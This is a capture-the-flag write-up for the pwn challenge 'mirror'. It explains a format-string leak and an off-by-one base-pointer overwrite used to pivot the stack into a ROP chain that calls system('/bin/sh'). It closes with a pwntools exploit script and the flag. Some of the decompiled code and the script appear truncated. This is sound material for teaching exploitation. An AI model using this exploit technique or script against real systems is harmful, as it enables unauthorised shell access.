You found an ol’ dirty mirror inside an abandoned house. This magic mirror reflects your most hidden desires! Use it to reveal the things you want the most in life! Don’t say too much though..

Category: Pwn

Solver: t0b1


We start by using the checksec tool, to check what security measures are enabled on the binary.

$ checksec mirror
[*] '/home/user/htb-unictf-2020/mirror/mirror'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We see that no canary is found, which means that we will most likely have to exploit a stack based buffer overflow to overwrite some values on the stack.

A first run of the program gives us the following output. Choosing “no” in the first question will exit the program.

✨ This old mirror seems to contain some hidden power..✨
There is a writing at the bottom of it..
"The mirror will reveal whatever you desire the most.. Just talk to it.."
Do you want to talk to the mirror? (y/n)
> y
Your answer was: y
"This is a gift from the craftsman.. [0x7fffc981ee10] [0x7f5114366c50]"
Now you can talk to the mirror.
> hello there

We immediatly see that we get two addresses. Also our answer to the first question is printed, which we might use to leak addresses from the stack.

Decompiling the program reveals the following simple main function.

undefined8 main(void) {
  undefined8 local_28, local_20, local_18, local_10;
  local_28 = 0; local_20 = 0; local_18 = 0; local_10 = 0;
  puts("\"The mirror will reveal whatever you desire the most.. Just talk to it..\"");
  printf("Do you want to talk to the mirror? (y/n)\n> ");
  if (((char)local_28 != 'y') && ((char)local_28 != 'Y')) {
    puts("You left the abandoned house safe!");
                    /* WARNING: Subroutine does not return */
  printf("Your answer was: ");
  printf((char *)&local_28);
  return 0;

We find four variables, each 8 byte long. The program reads 31 bytes as our answer and prints our answer if it started with y or Y. Our answer is printed using printf(answer). As printf expects the first parameter to be a format string, we can use this to print arbitrary values from the stack. By using gdb we can find out, that the input y%x|%x|%x|%x|%x|%x|%x|%x|%x|%lx will print the address of __libc_csu_init after the last |. Using that we can calculate any address of functions like the main etc. in our binary using an offset.

However, we still haven’t found any buffer overflow vulnerability. At the end of the main function, the reveal function is called. It looks like the following.

void reveal(void) {
  undefined local_28 [32];
  printf("\"This is a gift from the craftsman.. [%p] [%p]\"\n",local_28,printf);
  printf("Now you can talk to the mirror.\n> ");

It has a 32 byte buffer on the stack, prints the address of that buffer and the address of printf. Afterwards it reads 33 byte into that buffer, which is only 32 byte long. Using that, we can write one byte more than we should. The next thing on the stack after our buffer is the stack base pointer of the main function, whose last byte we can overwrite.

Let’s take a look at the last assembly instructions of the reveal and main function after reading our input in the reveal function.

ret              # return to main+199
mov    eax,0x0

Now the leave instruction does essentially the following.

mov   %ebp, %esp
pop   %ebp

It sets the stack pointer to the current base pointer. Then it takes the value on top of the stack and pops it into the ebp register.

That means, if we can modify the ebp value on the stack in the reveal function, that modified ebp will be our stack pointer before we call the ret instruction in our main function. As ret will take the value on top of the stack, i.e. where the stack pointer points to, we can modify the return address!

We can only modify the last byte of the ebp on the stack, but that is enough in most cases. Assuming the last byte of the stored ebp is 0x00 we can store up to 0xff = 255 bytes whose addresses all differ only in the last byte.

As we get the address of our buffer we can set the last byte of the stored ebp to the last byte of our buffer and the new ebp will point to our buffer. We can be unlucky sometimes, when the last bytes of the stored ebp look similar to 0x0100. As the main function also allocates some bytes, our buffer will start somewhere around 0x00xx. In those cases setting the last byte of the stored ebp to the last bytes of our buffer won’t work.

However we saw above, that after the new stack pointer is set, a pop instruction. Pointing the stack pointer directly on our buffer would thus pop the first address into the ebp register. To avoid that, we will set the last byte of the ebp on the stack to the last byte of our buffer minus 8.

The ret instruction of the main will then take the value on top of the stack and return to that. As we subtracted 8 from our buffer address above, it will take the first 8 byte of our buffer as the return address.

We now have full control over the content on the stack as well as the return instruction. Thus we can prepare a little rop chain. We set up the stack as follows:

address of pop rdi gadget
address of /bin/sh string
address of system
/bin/sh string

Returning to the pop rdi gadget will pop the address of our /bin/sh string into the rdi register which serves as the first parameter. The gadget will then return to the system function which will pop our shell.

This is 32 bytes in total, which matches perfectly with the buffer size we have available in the reveal function. The 33rd byte will be the byte we overwrite.

We can find the address for our pop rdi gadget using ROPgadget --binary mirror | grep "pop rdi". This yields 0x1393, which is the offset in our binary. From Ghidra we also know, that the __libc_csu_init is at offset 0x1330. We can calculate the address of that gadget during runtime using __libc_csu_init + 0x63.

As we place the /bin/sh string on the stack in our buffer, we easily know its address, which is buf + 24.

The address of the system function is not directly known. We only know the address of the printf function. However we can use online libc databases that will show us possible libc version that fit that position of printf in memory. I used this link to find out possible matches. As there are only four possible libraries that could fit, we can try each out and check if we get the shell. Turns out that the libc6_2.27-3ubuntu1.3_amd64 has the right offset to the system function, which is printf - 0x15a20.

We can now put that all together in a python script using the pwntools library.

#!/usr/bin/env python

from pwn import *
import re

context.update(arch='x86_64', os='linux')

local = True
proc = process('./mirror') if local else remote('', 31073)

info(proc.recvuntil("> "))

leaker = "y%x|%x|%x|%x|%x|%x|%x|%x|%x|%lx"


received = proc.recvuntil("> ").decode('utf-8')

lib_csu_init = int(received.split('"')[0].split('|')[-1], 16)

reveal_buf_str, printf_str = re.match(".*\[(.*)\] \[(.*)\].*", received).groups()

reveal_buf = int(reveal_buf_str, 16)
printf = int(printf_str, 16)

system = printf - 0xdea0 if local else printf - 0x15a20
str_bin_sh = reveal_buf + 24
pop_rdi_gadget = lib_csu_init + 0x63

new_ebp_byte = (reveal_buf - 8) & 0xff

info('lib_csu_init 0x%x' % lib_csu_init)
info('reveal_buf 0x%x' % reveal_buf)
info('printf 0x%x' % printf)
info('new_ebp_byte 0x%x' % new_ebp_byte)

# 33 = 8 + 8 + 8 + 8 + 1
payload = p64(pop_rdi_gadget)
payload += p64(str_bin_sh)
payload += p64(system)
payload += b'/bin/sh\0'
payload += p8(new_ebp_byte)




Running this script will get us a shell on the system most of the times. As discussed above, it might not always work, so we simple rerun the script if the exploit did not work directly.

Once we get a shell, we can run cat flag.txt to get the flag HTB{0n3_byt3_cl0s3r_2_v1ct0ry}.